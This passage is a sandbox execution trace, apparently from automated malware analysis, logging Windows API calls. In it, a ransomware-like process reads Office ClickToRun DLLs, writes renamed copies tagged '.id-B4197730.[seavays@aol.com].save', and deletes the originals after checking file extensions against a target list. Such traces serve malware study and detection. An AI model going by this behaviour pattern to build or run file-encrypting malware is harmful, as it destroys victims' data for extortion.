(lpString1=".ppt", lpString2=".dll") returned 1 [0068.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.449] lstrlenW (lpString=".zip") returned 4 [0068.449] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.449] lstrlenW (lpString=".rar") returned 4 [0068.449] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.449] lstrlenW (lpString=".bz2") returned 4 [0068.449] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.449] lstrlenW (lpString=".7z") returned 3 [0068.449] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.449] lstrlenW (lpString=".dbf") returned 4 [0068.449] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.449] lstrlenW (lpString=".1cd") returned 4 [0068.449] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0068.449] lstrlenW (lpString=".jpg") returned 4 [0068.449] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.449] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.449] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0068.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.450] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=24768) returned 1 [0068.450] CloseHandle (hObject=0x384) returned 1 [0068.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0068.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.450] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.450] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.451] GetLastError () returned 0x0 [0068.451] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x60c0, lpOverlapped=0x0) returned 1 [0068.453] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x60d0, lpOverlapped=0x0) returned 1 [0068.455] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.455] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x112, lpOverlapped=0x0) returned 1 [0068.455] SetEndOfFile (hFile=0x398) returned 1 [0068.455] CloseHandle (hObject=0x398) returned 1 [0068.456] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.456] SetEndOfFile (hFile=0x384) returned 1 [0068.457] CloseHandle (hObject=0x384) returned 1 [0068.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.458] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0068.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.458] lstrlenW (lpString=".doc") returned 4 [0068.458] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.458] lstrlenW (lpString=".docx") returned 5 [0068.458] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.458] lstrlenW (lpString=".pdf") returned 4 [0068.458] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.458] lstrlenW (lpString=".xls") returned 4 [0068.458] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.458] lstrlenW (lpString=".xlsx") returned 5 [0068.458] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.458] lstrlenW (lpString=".ppt") returned 4 [0068.458] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.459] lstrlenW (lpString=".zip") returned 4 [0068.459] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.459] lstrlenW (lpString=".rar") returned 4 [0068.459] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.459] lstrlenW (lpString=".bz2") returned 4 [0068.459] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.459] lstrlenW (lpString=".7z") returned 3 [0068.459] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.459] lstrlenW (lpString=".dbf") returned 4 [0068.459] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.459] lstrlenW (lpString=".1cd") returned 4 [0068.459] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.459] lstrlenW (lpString=".jpg") returned 4 [0068.459] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.459] lstrlenW (lpString=".doc") returned 4 [0068.459] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.459] lstrlenW (lpString=".docx") returned 5 [0068.459] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.459] lstrlenW (lpString=".pdf") returned 4 [0068.459] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.459] lstrlenW (lpString=".xls") returned 4 [0068.459] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.459] lstrlenW (lpString=".xlsx") returned 5 [0068.459] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.459] lstrlenW (lpString=".ppt") returned 4 [0068.459] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.460] lstrlenW (lpString=".zip") returned 4 [0068.460] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.460] lstrlenW (lpString=".rar") returned 4 [0068.460] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.460] lstrlenW (lpString=".bz2") returned 4 [0068.460] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.460] lstrlenW (lpString=".7z") returned 3 [0068.460] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.460] lstrlenW (lpString=".dbf") returned 4 [0068.460] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.460] lstrlenW (lpString=".1cd") returned 4 [0068.460] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0068.460] lstrlenW (lpString=".jpg") returned 4 [0068.460] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.460] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.460] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0068.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.461] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=24768) returned 1 [0068.461] CloseHandle (hObject=0x384) returned 1 [0068.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0068.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.461] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.461] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.461] GetLastError () returned 0x0 [0068.461] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x60c0, lpOverlapped=0x0) returned 1 [0068.464] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x60d0, lpOverlapped=0x0) returned 1 [0068.465] ReadFile (in: hFile=0x384, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.465] WriteFile (in: hFile=0x398, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x114, lpOverlapped=0x0) returned 1 [0068.465] SetEndOfFile (hFile=0x398) returned 1 [0068.465] CloseHandle (hObject=0x398) returned 1 [0068.467] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.823] SetEndOfFile (hFile=0x384) returned 1 [0068.843] CloseHandle (hObject=0x384) returned 1 [0068.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.843] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0068.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.843] lstrlenW (lpString=".doc") returned 4 [0068.843] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.843] lstrlenW (lpString=".docx") returned 5 [0068.844] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.844] lstrlenW (lpString=".pdf") returned 4 [0068.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.844] lstrlenW (lpString=".xls") returned 4 [0068.844] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.844] lstrlenW (lpString=".xlsx") returned 5 [0068.844] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.844] lstrlenW (lpString=".ppt") returned 4 [0068.844] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.844] lstrlenW (lpString=".zip") returned 4 [0068.844] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.844] lstrlenW (lpString=".rar") returned 4 [0068.844] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.844] lstrlenW (lpString=".bz2") returned 4 [0068.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.844] lstrlenW (lpString=".7z") returned 3 [0068.844] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.844] lstrlenW (lpString=".dbf") returned 4 [0068.844] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.844] lstrlenW (lpString=".1cd") returned 4 [0068.844] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.844] lstrlenW (lpString=".jpg") returned 4 [0068.844] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.844] lstrlenW (lpString=".doc") returned 4 [0068.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.844] lstrlenW (lpString=".docx") returned 5 [0068.844] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.844] lstrlenW (lpString=".pdf") returned 4 [0068.845] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.845] lstrlenW (lpString=".xls") returned 4 [0068.845] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.845] lstrlenW (lpString=".xlsx") returned 5 [0068.845] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.845] lstrlenW (lpString=".ppt") returned 4 [0068.845] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.845] lstrlenW (lpString=".zip") returned 4 [0068.845] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.845] lstrlenW (lpString=".rar") returned 4 [0068.845] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.845] lstrlenW (lpString=".bz2") returned 4 [0068.845] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.845] lstrlenW (lpString=".7z") returned 3 [0068.845] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.845] lstrlenW (lpString=".dbf") returned 4 [0068.845] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.845] lstrlenW (lpString=".1cd") returned 4 [0068.845] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90 [0068.845] lstrlenW (lpString=".jpg") returned 4 [0068.845] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.845] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.845] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0068.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0068.846] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=2285736) returned 1 [0068.846] CloseHandle (hObject=0x384) returned 1 [0068.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0068.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0068.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1 [0068.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.847] lstrlenW (lpString=".doc") returned 4 [0068.847] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.847] lstrlenW (lpString=".docx") returned 5 [0068.848] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0068.848] lstrlenW (lpString=".pdf") returned 4 [0068.848] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.848] lstrlenW (lpString=".xls") returned 4 [0068.848] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.848] lstrlenW (lpString=".xlsx") returned 5 [0068.848] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0068.848] lstrlenW (lpString=".ppt") returned 4 [0068.848] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.848] lstrlenW (lpString=".zip") returned 4 [0068.848] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.848] lstrlenW (lpString=".rar") returned 4 [0068.848] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.848] lstrlenW (lpString=".bz2") returned 4 [0068.848] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.848] lstrlenW (lpString=".7z") returned 3 [0068.848] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.848] lstrlenW (lpString=".dbf") returned 4 [0068.848] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.848] lstrlenW (lpString=".1cd") returned 4 [0068.848] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.848] lstrlenW (lpString=".jpg") returned 4 [0068.848] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.848] lstrlenW (lpString=".doc") returned 4 [0068.848] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.848] lstrlenW (lpString=".docx") returned 5 [0068.848] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0068.849] lstrlenW (lpString=".pdf") returned 4 [0068.849] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.849] lstrlenW (lpString=".xls") returned 4 [0068.849] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.849] lstrlenW (lpString=".xlsx") returned 5 [0068.849] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0068.849] lstrlenW (lpString=".ppt") returned 4 [0068.849] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.849] lstrlenW (lpString=".zip") returned 4 [0068.849] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.849] lstrlenW (lpString=".rar") returned 4 [0068.849] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.849] lstrlenW (lpString=".bz2") returned 4 [0068.849] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.849] lstrlenW (lpString=".7z") returned 3 [0068.849] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.849] lstrlenW (lpString=".dbf") returned 4 [0068.849] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.849] lstrlenW (lpString=".1cd") returned 4 [0068.849] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0068.849] lstrlenW 